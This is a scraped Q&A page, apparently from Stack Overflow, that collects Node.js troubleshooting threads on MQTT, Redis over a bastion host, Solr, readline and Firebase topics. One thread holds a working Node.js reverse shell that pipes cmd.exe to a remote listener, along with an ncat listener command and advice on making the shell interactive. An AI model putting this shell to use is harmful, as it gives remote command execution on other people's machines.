I am running Eclipse Mosquitto on a local docker container on 172.17.0.2:1883
I am able to publish/subscribe using MQTT.fx client but now trying to connect to the broker from node and haven't been able to.
The topic is "sensors"
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
e747c86b6ec1 eclipse-mosquitto "/docker-entrypoint.…" 5 hours ago Up 5 hours 0.0.0.0:1883->1883/tcp, 0.0.0.0:9001->9001/tcp adoring_varahamihira
When I inspect the IP address
docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' e747c86b6ec1
172.17.0.2
I am trying to use the following node server to connect to my MQTT broker but the 'connect' event never seems to happen.
// Note: I have an express server running but didn't include
const mqtt = require("mqtt")
var MQTT_TOPIC = "sensors";
var MQTT_ADDR = "mqtt://172.17.0.2";
var MQTT_PORT = 1883;
var client = mqtt.connect(MQTT_ADDR, {
port: MQTT_PORT,
clientId: 'bgtestnodejs232323',
protocolId: 'MQIsdp',
protocolVersion: 3,
connectTimeout: 1000,
debug: true
});
client.on('connect', function () {
console.log("connected!")
});
client.on('error', function (err) {
console.log(err)``
client.end()
})
When I run:
console.log(util.inspect(client))
The output is:
MqttClient {
options:
{ protocol: 'mqtt',
slashes: true,
auth: null,
host: '172.17.0.2',
port: 1883,
hostname: '172.17.0.2',
hash: null,
search: null,
query: [Object: null prototype] {},
pathname: null,
path: null,
href: 'mqtt://172.17.0.2',
clientId: 'bgtestnodejs232323',
protocolId: 'MQIsdp',
protocolVersion: 3,
connectTimeout: 1000,
debug: true,
defaultProtocol: 'mqtt',
keepalive: 60,
reschedulePings: true,
reconnectPeriod: 1000,
clean: true,
resubscribe: true,
customHandleAcks: [Function] },
streamBuilder: [Function: wrapper],
outgoingStore: Store { options: { clean: true }, _inflights: Map {} },
incomingStore: Store { options: { clean: true }, _inflights: Map {} },
queueQoSZero: true,
_resubscribeTopics: {},
messageIdToTopic: {},
pingTimer: null,
connected: false,
disconnecting: false,
queue: [],
connackTimer:
Timeout {
_called: false,
_idleTimeout: 1000,
_idlePrev: [TimersList],
_idleNext: [TimersList],
_idleStart: 478,
_onTimeout: [Function],
_timerArgs: undefined,
_repeat: null,
_destroyed: false,
[Symbol(unrefed)]: false,
[Symbol(asyncId)]: 9,
[Symbol(triggerId)]: 1 },
reconnectTimer: null,
_storeProcessing: false,
_packetIdsDuringStoreProcessing: {},
nextId: 26898,
outgoing: {},
_firstConnection: true,
_events:
[Object: null prototype] {
close: [ [Function], [Function], [Function] ],
connect: [Function] },
_eventsCount: 2,
_maxListeners: undefined,
stream:
Socket {
connecting: true,
_hadError: false,
_handle:
TCP {
reading: false,
onread: [Function: onStreamRead],
onconnection: null,
[Symbol(owner)]: [Circular] },
_parent: null,
_host: null,
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: BufferList { head: null, tail: null, length: 0 },
length: 0,
pipes: [Writable],
pipesCount: 1,
flowing: true,
ended: false,
endEmitted: false,
reading: false,
sync: true,
needReadable: false,
emittedReadable: false,
readableListening: false,
resumeScheduled: true,
paused: false,
emitClose: false,
destroyed: false,
defaultEncoding: 'utf8',
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null },
readable: false,
_events:
[Object: null prototype] {
end: [Array],
data: [Function: ondata],
error: [Function: nop],
close: [Function] },
_eventsCount: 4,
_maxListeners: 1000,
_writableState:
WritableState {
objectMode: false,
highWaterMark: 16384,
finalCalled: false,
needDrain: false,
ending: false,
ended: false,
finished: false,
destroyed: false,
decodeStrings: false,
defaultEncoding: 'utf8',
length: 34,
writing: false,
corked: 1,
sync: true,
bufferProcessing: false,
onwrite: [Function: bound onwrite],
writecb: null,
writelen: 0,
bufferedRequest: [Object],
lastBufferedRequest: [Object],
pendingcb: 9,
prefinished: false,
errorEmitted: false,
emitClose: false,
bufferedRequestCount: 9,
corkedRequestsFree: [Object] },
writable: true,
allowHalfOpen: false,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: null,
_server: null,
[Symbol(asyncId)]: 5,
[Symbol(lastWriteQueueSize)]: 0,
[Symbol(timeout)]: null,
[Symbol(kBytesRead)]: 0,
[Symbol(kBytesWritten)]: 0 } }
I have been trying the suggestions in this answer: Why is MQTT not connecting with NodeJS?
Thanks for your help!
The IP address range 172.17.0.0/16 that is handed out to Docker containers by the Docker engine are part of the RFC1918 set intended for private use.
In the case of Docker, they are used on the internal "bridge" network and only accessible from other docker containers or the machine hosting the Docker engine.
The 0.0.0.0:1883->1883/tcp, 0.0.0.0:9001->9001/tcp output for the info of your mosquitto container shows that these ports have been exposed and are mapped to the host machines IP address. You should be able to connect if you change 172.17.0.2 for the IP address of the machine hosting the Docker engine.
Port 9001 is the websocket listener
Port 1883 is the native MQTT listener
You are using the mqtt:// schema for your broker URL which indicates the native MQTT protocol, yet you are forcing the use of port 9001.
If you want to use WebSockets then you should change the schema to ws://
If you want to use native MQTT then you need to change the port to 1883
Related
We are implementing caching using AWS Elasticache with Redis and are using nodejs for connecting it with the Redis. Creating a sorted set and adding and getting elements to and from it. It is working fine on local machine, while not working on Staging. Here is the code,
const redis = require("redis")
const redisOption = {
host: redis_host_url,
port: redis_port
}
let client = redis.createClient(redisOption);
console.log(client);
client = promisify(client.zadd).bind(client);
console.log(client);
let response = await client("abc",1,"string_to_add");
console.log(response);
Getting response printed on local machine, but Lambda logs does not contain the last console. Client is:
RedisClient {
_events: [Object: null prototype] { newListener: [Function] },
_eventsCount: 1,
_maxListeners: undefined,
address: 'XXXXXXXXXX:6379',
connection_options: { port: 6379, host: 'XXXXXXXXXX', family: 4 },
connection_id: 0,
connected: false,
ready: false,
should_buffer: false,
command_queue:
Denque {
_head: 0,
_tail: 0,
_capacityMask: 3,
_list: [ <4 empty items> ] },
offline_queue:
Denque {
_head: 0,
_tail: 0,
_capacityMask: 3,
_list: [ <4 empty items> ] },
pipeline_queue:
Denque {
_head: 0,
_tail: 0,
_capacityMask: 3,
_list: [ <4 empty items> ] },
connect_timeout: 3600000,
enable_offline_queue: true,
retry_timer: null,
retry_totaltime: 0,
retry_delay: 200,
retry_backoff: 1.7,
attempts: 1,
pub_sub_mode: 0,
subscription_set: {},
monitoring: false,
message_buffers: false,
closing: false,
server_info: {},
auth_pass: undefined,
selected_db: undefined,
fire_strings: true,
pipeline: false,
sub_commands_left: 0,
times_connected: 0,
buffers: false,
options:
{ host: XXXXXXXXXX,
port: 6379,
socket_keepalive: true,
socket_initial_delay: 0,
return_buffers: false,
detect_buffers: false },
reply: 'ON',
reply_parser:
JavascriptRedisParser {
optionReturnBuffers: false,
optionStringNumbers: false,
returnError: [Function: returnError],
returnFatalError: [Function: returnFatalError],
returnReply: [Function: returnReply],
offset: 0,
buffer: null,
bigStrSize: 0,
totalChunkSize: 0,
bufferCache: [],
arrayCache: [],
arrayPos: [] },
stream:
Socket {
connecting: true,
_hadError: false,
_handle:
TCP {
reading: false,
onread: [Function: onStreamRead],
onconnection: null,
[Symbol(owner)]: [Circular] },
_parent: null,
_host: null,
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: BufferList { head: null, tail: null, length: 0 },
length: 0,
pipes: null,
pipesCount: 0,
flowing: true,
ended: false,
endEmitted: false,
reading: false,
sync: true,
needReadable: false,
emittedReadable: false,
readableListening: false,
resumeScheduled: true,
paused: false,
emitClose: false,
autoDestroy: false,
destroyed: false,
defaultEncoding: 'utf8',
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null },
readable: false,
_events:
[Object: null prototype] {
end: [Array],
connect: [Function],
data: [Function],
error: [Function],
close: [Function],
drain: [Function] },
_eventsCount: 6,
_maxListeners: undefined,
_writableState:
WritableState {
objectMode: false,
highWaterMark: 16384,
finalCalled: false,
needDrain: false,
ending: false,
ended: false,
finished: false,
destroyed: false,
decodeStrings: false,
defaultEncoding: 'utf8',
length: 0,
writing: false,
corked: 0,
sync: true,
bufferProcessing: false,
onwrite: [Function: bound onwrite],
writecb: null,
writelen: 0,
bufferedRequest: null,
lastBufferedRequest: null,
pendingcb: 0,
prefinished: false,
errorEmitted: false,
emitClose: false,
autoDestroy: false,
bufferedRequestCount: 0,
corkedRequestsFree: [Object] },
writable: true,
allowHalfOpen: false,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: null,
_server: null,
[Symbol(asyncId)]: 7,
[Symbol(lastWriteQueueSize)]: 0,
[Symbol(timeout)]: null,
[Symbol(kBytesRead)]: 0,
[Symbol(kBytesWritten)]: 0 } }
Even console after the promisify is working, and is printing:
[Function: bound zadd]
But the last console is not printing anything. I am not able to debug as, AWS Elasticache doesn't offer logs for Redis.
You need to define a bastion host in your AWS setup and locally in ~/.ssh/config
Host your-bastion-host
HostName <IP_of_your_bastion_host_on_EC2>
Port 22
User ec2-user
IdentityFile ~/.ssh/<your_key_file_for_bastion_host>.pem
ForwardAgent yes
AddKeysToAgent yes
Using a Bastion host and a VPC, you are able to connect to the AWS Elasticache service by SSH port forwarding...
ssh your-bastion-host -Cv -N -L 6390:ec-replication-group-xyz.amazonaws.com:6379
..and "redis-cli" tool (It makes sense to forward the Redis port 6379 to a different port locally if you already have a Redis server installed locally)
redis-cli -h localhost -p 6390
info
monitor
Then you can use in "redis-cli" the monitor command to display every command processed by the Redis server and the info command to get the most important information and statistics about the Redis server.
Good morning everyone i am having a issue with reverse shell in NodeJS when i create socket and listen with netcat its perfectly work but when i create new server with net.Server i receive header of shell but it's not interactive, the shell code is like this :
(function(){
var net = require("net"),
child = require("child_process"),
shell = child.spawn("cmd.exe", []);
var client = new net.Socket();
client.connect(4545, "192.168.1.2", function(){
client.pipe(shell.stdin);
shell.stdout.pipe(client);
shell.stderr.pipe(client);
});
return /a/;
})();
and when i listen with netcat i can get the reverse shell
ncat -nvlp 4545
but the problem arises when I want to create a TCP server in nodejs i receive the banner of cmd.exe but without interactivity
this is the code of server part :
const net = require("net");
let server = new net.Server();
server.listen({ host: '192.168.1.2', port: 4545 }, () => {
console.log(`Server listen in 4545`);
});
server.on("close", () => {
console.log('connection closed')
});
server.on("error", (e) => {
if (e.code === "EADDRINUSE") {
console.log("Address in use, retrying...");
setTimeout(() => {
this.server.close();
this.server.listen(4545, '192.168.1.2');
}, 2000);
}
});
server.on("connection", (socket) => {
console.log("new connection");
// HERE I SEND COMMAND WITH ELECTRON JS
socket.write('command');
console.log((socket.pipe(socket));
// Socket is quitted
socket.on("close", () => {
console.log('socket closed')
});
socket.on("end", () => {
console.log(`Client ${socket} disconnected`);
socket.destroy();
});
});
When i send command example 'dir' i receive an object with the pipe which is located above in the server
So the question is how can i receive the result of command when i send it, example receiving the file and directory listing of socket
Socket {
connecting: false,
_hadError: false,
_parent: null,
_host: null,
_readableState: ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: BufferList { head: null, tail: null, length: 0 },
length: 0,
pipes: [Circular],
pipesCount: 1,
flowing: true,
ended: false,
endEmitted: false,
reading: true,
sync: false,
needReadable: true,
emittedReadable: false,
readableListening: false,
resumeScheduled: false,
paused: false,
emitClose: false,
autoDestroy: false,
destroyed: false,
defaultEncoding: 'utf8',
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null
},
readable: true,
_events: [Object: null prototype] {
end: [ [Function: onReadableStreamEnd], [Function], [Function] ],
close: [ [Function], [Function] ],
data: [ [Function], [Function: ondata] ],
unpipe: [Function: onunpipe],
error: [Function: onerror],
finish: [Function: bound onceWrapper] { listener: [Function: onfinish] }
},
_eventsCount: 6,
_maxListeners: undefined,
_writableState: WritableState {
objectMode: false,
highWaterMark: 16384,
finalCalled: false,
needDrain: false,
ending: false,
ended: false,
finished: false,
destroyed: false,
decodeStrings: false,
defaultEncoding: 'utf8',
length: 0,
writing: false,
corked: 0,
sync: false,
bufferProcessing: false,
onwrite: [Function: bound onwrite],
writecb: null,
writelen: 0,
afterWriteTickInfo: {
count: 1,
cb: [Function: nop],
stream: [Circular],
state: [Circular]
},
bufferedRequest: null,
lastBufferedRequest: null,
pendingcb: 1,
prefinished: false,
errorEmitted: false,
emitClose: false,
autoDestroy: false,
bufferedRequestCount: 0,
corkedRequestsFree: {
next: null,
entry: null,
finish: [Function: bound onCorkedFinish]
}
},
writable: true,
allowHalfOpen: false,
_sockname: { address: '192.168.1.2', family: 'IPv4', port: 4545},
_pendingData: null,
_pendingEncoding: '',
server: Server {
_events: [Object: null prototype] {
listening: [Function],
close: [Function],
error: [Function],
connection: [Function]
},
_eventsCount: 4,
_maxListeners: undefined,
_connections: 1,
_handle: TCP {
reading: false,
onconnection: [Function: onconnection],
[Symbol(owner)]: [Circular]
},
_usingWorkers: false,
_workers: [],
_unref: false,
allowHalfOpen: false,
pauseOnConnect: false,
_connectionKey: '4:192.168.1.2:4443',
[Symbol(asyncId)]: 16
},
_server: Server {
_events: [Object: null prototype] {
listening: [Function],
close: [Function],
error: [Function],
connection: [Function]
},
_eventsCount: 4,
_maxListeners: undefined,
_connections: 1,
_handle: TCP {
reading: false,
onconnection: [Function: onconnection],
[Symbol(owner)]: [Circular]
},
_usingWorkers: false,
_workers: [],
_unref: false,
allowHalfOpen: false,
pauseOnConnect: false,
_connectionKey: '4:192.168.1.2:4545',
[Symbol(asyncId)]: 16
},
id: 790,
_peername: { address: '192.168.1.2', family: 'IPv4', port: 59793 },
[Symbol(asyncId)]: 18,
[Symbol(kHandle)]: TCP {
reading: true,
onconnection: null,
[Symbol(owner)]: [Circular]
},
[Symbol(lastWriteQueueSize)]: 0,
[Symbol(timeout)]: null,
[Symbol(kBuffer)]: null,
[Symbol(kBufferCb)]: null,
[Symbol(kBufferGen)]: null,
[Symbol(kBytesRead)]: 0,
[Symbol(kBytesWritten)]: 0
}
After several attempts I managed to add \n in write to enter the code becomes
so the code become
socket.write('command'+ '\n');
I am trying to search my documents indexed on solr 6.6.5 using facet search in node.js with the solr-node module. But when I add facet=on&facet.query=: I get an HTTP 400 response from solr-node.
var client = new SolrNode({
host: 'localhost',
port: '8983',
core: 'IRF18P4',
protocol: 'http',
debugLevel: 'ERROR' // log4js debug level paramter
});
var delhiCount = client.query.q('*:*&facet.query=city:delhi&facet=on');
// Search documents using strQuery
client.search(delhiCount, function (err, result) {
if (err) {
console.log(err);
return;
}
console.log('Response:', result.response);
});
But if I try to open the same URL printed in my terminal, it works. Any idea on what could be going wrong here?
PS C:\Users\aarti\OneDrive\Documents\IR\Project4\gentelella-master\gentelella-master> node index.js
[2018-12-02 19:16:02.533] [ERROR] sole-node - Body {
url:
'http://localhost:8983/solr/IRF18P4/select?q=*%3A*%26facet%3Don%26facet.query%3Dcity%3Adelhi&wt=json',
status: 400,
statusText: 'Bad Request',
headers:
Headers {
_headers:
{ 'cache-control': [Array],
pragma: [Array],
expires: [Array],
'last-modified': [Array],
etag: [Array],
'content-type': [Array],
connection: [Array] } },
ok: false,
body:
PassThrough {
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: BufferList { head: [Object], tail: [Object], length: 1 },
length: 280,
pipes: null,
pipesCount: 0,
flowing: null,
ended: false,
endEmitted: false,
reading: true,
sync: false,
needReadable: true,
emittedReadable: true,
readableListening: false,
resumeScheduled: false,
emitClose: true,
destroyed: false,
defaultEncoding: 'utf8',
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null },
readable: true,
_events:
{ prefinish: [Function: prefinish],
unpipe: [Function: onunpipe],
drain: [Function: pipeOnDrainFunctionResult],
error: [Function: onerror],
close: [Function],
finish: [Function] },
_eventsCount: 6,
_maxListeners: undefined,
_writableState:
WritableState {
objectMode: false,
highWaterMark: 16384,
finalCalled: false,
needDrain: false,
ending: false,
ended: false,
finished: false,
destroyed: false,
decodeStrings: true,
defaultEncoding: 'utf8',
length: 0,
writing: false,
corked: 0,
sync: false,
bufferProcessing: false,
onwrite: [Function: bound onwrite],
writecb: null,
writelen: 0,
bufferedRequest: null,
lastBufferedRequest: null,
pendingcb: 0,
prefinished: false,
errorEmitted: false,
emitClose: true,
bufferedRequestCount: 0,
corkedRequestsFree: [Object] },
writable: true,
allowHalfOpen: true,
_transformState:
{ afterTransform: [Function: bound afterTransform],
needTransform: true,
transforming: false,
writecb: null,
writechunk: null,
writeencoding: 'buffer' } },
bodyUsed: false,
size: 0,
timeout: 0,
_raw: [],
_abort: false }
Solr server error: 400
Your URL being printed in Output is Wrong.
http://localhost:8983/solr/IRF18P4/select?q=*%3A*%26facet%3Don%26facet.query%3Dcity%3Adelhi&wt=json
Above should look like,
http://localhost:8983/solr/IRF18P4/select?q=*:*&facet=on&facet.query=city:delhi&wt=json
And your code should be,
var delhiCount = client.query
.q('*:*')
.addParams({
facet: 'true',
facet.query: "city:delhi"
wt: 'json',
});
For more help refer,
Resource : https://www.npmjs.com/package/solr-node
I want to read a file line by line and based on the data in each line i have to categorise the data.
var rd = readline.createInterface({
input: fs.createReadStream('/home/user/Desktop/text.txt'),
output: process.stdout,
console: false
});
When this line is executed the file is read and printed in the terminal.
But when I try to read the file line by line using readline I am getting error.
rd.on('line', (input) => {
console.log(input);
});
I am getting the following error.
`Interface {
_sawReturnAt: 0,
isCompletionEnabled: true,
_sawKeyPress: false,
_previousKey:
{ sequence: '\n',
name: 'enter',
ctrl: false,
meta: false,
shift: false },
domain:
Domain {
domain: null,
_events: { error: [Function: debugDomainError] },
_eventsCount: 1,
_maxListeners: undefined,
members: [] },
_events: { line: [ [Function], [Function], [Function] ] },
_eventsCount: 1,
_maxListeners: undefined,
output:
WriteStream {
connecting: false,
_hadError: false,
_handle:
TTY {
bytesRead: 0,
_externalStream: {},
fd: 9,
writeQueueSize: 0,
owner: [Circular],
onread: [Function: onread] },
_parent: null,
_host: null,
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: [Object],
length: 0,
pipes: null,
pipesCount: 0,
flowing: null,
ended: false,
endEmitted: false,
reading: false,
sync: true,
needReadable: false,
emittedReadable: false,
readableListening: false,
resumeScheduled: false,
defaultEncoding: 'utf8',
ranOut: false,
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null },
readable: false,
domain: null,
_events:
{ end: [Object],
finish: [Function: onSocketFinish],
_socketEnd: [Function: onSocketEnd],
resize: [Object] },
_eventsCount: 4,
_maxListeners: undefined,
_writableState:
WritableState {
objectMode: false,
highWaterMark: 16384,
needDrain: false,
ending: false,
ended: false,
finished: false,
decodeStrings: false,
defaultEncoding: 'utf8',
length: 0,
writing: false,
corked: 0,
sync: false,
bufferProcessing: false,
onwrite: [Function: bound onwrite],
writecb: null,
writelen: 0,
bufferedRequest: null,
lastBufferedRequest: null,
pendingcb: 1,
prefinished: false,
errorEmitted: false,
bufferedRequestCount: 0,
corkedRequestsFree: [Object] },
writable: true,
allowHalfOpen: false,
destroyed: false,
_bytesDispatched: 22151,
_sockname: null,
_writev: null,
_pendingData: null,
_pendingEncoding: '',
server: null,
_server: null,
columns: 80,
rows: 24,
_type: 'tty',
fd: 1,
_isStdio: true,
destroySoon: [Function],
destroy: [Function] },
input:
ReadStream {
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 65536,
buffer: [Object],
length: 0,
pipes: null,
pipesCount: 0,
flowing: false,
ended: true,
endEmitted: true,
reading: false,
sync: false,
needReadable: false,
emittedReadable: false,
readableListening: false,
resumeScheduled: false,
defaultEncoding: 'utf8',
ranOut: false,
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null },
readable: false,
domain:
Domain {
domain: null,
_events: [Object],
_eventsCount: 1,
_maxListeners: undefined,
members: [] },
_events: { end: [Object], data: [Function: onData] },
_eventsCount: 2,
_maxListeners: undefined,
path: '/home/user/Desktop/text.txt',
fd: null,
flags: 'r',
mode: 438,
start: undefined,
end: undefined,
autoClose: true,
pos: undefined,
bytesRead: 31,
destroyed: true,
closed: true },
historySize: 30,
crlfDelay: 100,
_prompt: '> ',
terminal: true,
line: '',
cursor: 0,
history: [ '1,2,3', '4,8,4,8', '2,2,2,2', '1,2,3,4' ],
historyIndex: -1,
prevRows: 0,
paused: true,
closed: true }`
Please help I am new to this.
Your code looks fine but you are using the Node.js REPL rather than running the code from a file, which is why you're seeing this behaviour.
The Node.js REPL (what you get when you type node in terminal) will store variables. However, when only an identifier is used the value is also returned. What you're seeing isn't an error, but the rd object.
The Node.js REPL is good for testing but, unless you have a specific reason for using it, the best thing to do is create an app.js file, add your code to it and then run node app.js.
If you do need to write multi-line code using REPL, then be sure to type .editor once initialised, so that whitespace, etc. is interpreted correctly.
Also, from the 7.7.2 docs console isn't an option which createInterface is expecting, so that can be removed. In your particular example, you could also remove output: process.stdout, as your logging each line using the line event
I'm trying to create Topic For each newly created groups. So I wrote this function for doing that operation.
exports.createGroupTopic = functions.database.ref("groups/{groupid}/id")
.onWrite(event=>{
var groupid = event.params.groupid;
request({
url: "https://iid.googleapis.com/iid/v1/my_registration_token/rel/topics/topic_name",
headers: {
'Content-Type':'application/json',
'Content-Length': 0,
'Authorization':'my API Key'
}
}, function (error, response, body){
console.log(response);
});
});
But when I run this code I get the following response log on Firebase console..
IncomingMessage {
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: BufferList { head: null, tail: null, length: 0 },
length: 0,
pipes: null,
pipesCount: 0,
flowing: true,
ended: true,
endEmitted: true,
reading: false,
sync: false,
needReadable: false,
emittedReadable: false,
readableListening: false,
resumeScheduled: false,
defaultEncoding: 'utf8',
ranOut: false,
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null },
readable: false,
domain: null,
_events:
{ end: [ [Function: responseOnEnd], [Function] ],
close: [ [Function], [Function] ],
data: [Function],
error: [Function] },
_eventsCount: 4,
_maxListeners: undefined,
socket:
TLSSocket {
_tlsOptions:
{ pipe: null,
secureContext: [Object],
isServer: false,
requestCert: true,
rejectUnauthorized: true,
session: undefined,
NPNProtocols: undefined,
ALPNProtocols: undefined,
requestOCSP: undefined },
_secureEstablished: true,
_securePending: false,
_newSessionPending: false,
_controlReleased: true,
_SNICallback: null,
servername: null,
npnProtocol: false,
alpnProtocol: false,
authorized: true,
authorizationError: null,
encrypted: true,
_events:
{ close: [Object],
end: [Object],
finish: [Function: onSocketFinish],
_socketEnd: [Function: onSocketEnd],
secure: [Function],
free: [Function: onFree],
agentRemove: [Function: onRemove],
drain: [Function: ondrain],
error: [Function: socketErrorListener],
data: [Function: socketOnData] },
_eventsCount: 10,
connecting: false,
_hadError: false,
_handle: null,
_parent: null,
_host: 'iid.googleapis.com',
_readableState:
ReadableState {
objectMode: false,
highWaterMark: 16384,
buffer: [Object],
length: 0,
pipes: null,
pipesCount: 0,
flowing: true,
ended: true,
endEmitted: true,
reading: false,
sync: false,
needReadable: false,
emittedReadable: false,
readableListening: false,
resumeScheduled: false,
defaultEncoding: 'utf8',
ranOut: false,
awaitDrain: 0,
readingMore: false,
decoder: null,
encoding: null },
readable: false,
domain: null,
_maxListeners: undefined,
_writableState:
WritableState {
objectMode: false,
highWaterMark: 16384,
needDrain: false,
ending: true,
ended: true,
finished: true,
decodeStrings: false,
defaultEncoding: 'utf8',
length: 0,
writing: false,
corked: 0,
sync: false,
bufferProcessing: false,
onwrite: [Function],
writecb: null,
writelen: 0,
bufferedRequest: null,
lastBufferedRequest: null,
pendingcb: 0,
prefinished: true,
errorEmitted: false,
bufferedRequestCount: 0,
corkedRequestsFree: [Object] },
writable: false,
allowHalfOpen: false,
destroyed: true,
_bytesDispatched: 468,
_sockname: null,
_pendingData: null,
_pendingEncoding: '',
server: undefined,
_server: null,
ssl: null,
_requestCert: true,
_rejectUnauthorized: true,
parser: null,
_httpMessage:
ClientRequest {
domain: null,
_events: [Object],
_eventsCount: 5,
_maxListeners: undefined,
output: [],
outputEncodings: [],
outputCallbacks: [],
outputSize: 0,
writable: true,
_last: true,
upgrading: false,
chunkedEncoding: false,
shouldKeepAlive: false,
useChunkedEncodingByDefault: false,
sendDate: false,
_removedHeader: [Object],
_contentLength: 0,
_hasBody: true,
_trailer: '',
finished: true,
_headerSent: true,
socket: [Circular],
connection: [Circular],
_header: 'GET /iid/v1/my_token_id/rel/topics/TOPIC_NAME HTTP/1.1\r\nContent-Type: application/json\r\nContent-Length: 0\r\nAuthorization: api_key\r\nhost: iid.googleapis.com\r\nConnection: close\r\n\r\n',
_headers: [Object],
_headerNames: [Object],
_onPendingData: null,
agent: [Object],
socketPath: undefined,
timeout: undefined,
method: 'GET',
path: '/iid/v1/fphzdEcS_D0:APA91b
Then I ran it again locally And it gave me Invalid Token Error. Then I tested the token to send direct notification. And it's working perfectly.
I don't know where is the problem. SO need help :(
This variation of your code works for me. I added the POST method and prefix key= to the Authorization value. Try it and see if it works for you.
exports.createGroupTopic = functions.database.ref("groups/{groupid}/id")
.onWrite(event => {
var groupid = event.params.groupid;
request({
method: 'POST', // <= ADDED
// ------------------- device token ------------
url: "https://iid.googleapis.com/iid/v1/cAzme9iGTO4:APA91bE...lRbx1yTei2PNFgTYGUQDUTj/rel/topics/someTopic",
headers: {
'Content-Type':'application/json',
'Content-Length': 0,
// Note below. Added: 'key='
// ----------------- server key --------------------------
'Authorization':'key=AAAAXp8june:APA91bF-Nq9pmQKr...HOES6ugO3_Xf-jV472nfn-sb'
}
}, function (error, response, body){
console.log('error:', error);
console.log('statusCode:', response && response.statusCode);
});
});
I used this function to confirm that the topic subscription was added. The returned body contains status for the device, including the topics subscribed to:
exports.checkGroupTopic = functions.database.ref("groups/check")
.onWrite(event => {
const token = 'cAzme9iGTO4:APA91bE...lRbx1yTei2PNFgTYGUQDUTj';
const serverKey = 'AAAAXp8june:APA91bF-Nq9pmQKr...HOES6ugO3_Xf-jV472nfn-sb';
request({
method: 'GET',
url: `https://iid.googleapis.com/iid/info/${token}?details=true`,
headers: {
'Content-Type':'application/json',
'Content-Length': 0,
'Authorization':`key=${serverKey}`
}
}, function (error, response, body){
console.log('error:', error);
console.log('statusCode:', response && response.statusCode);
console.log('body:', body);
});
});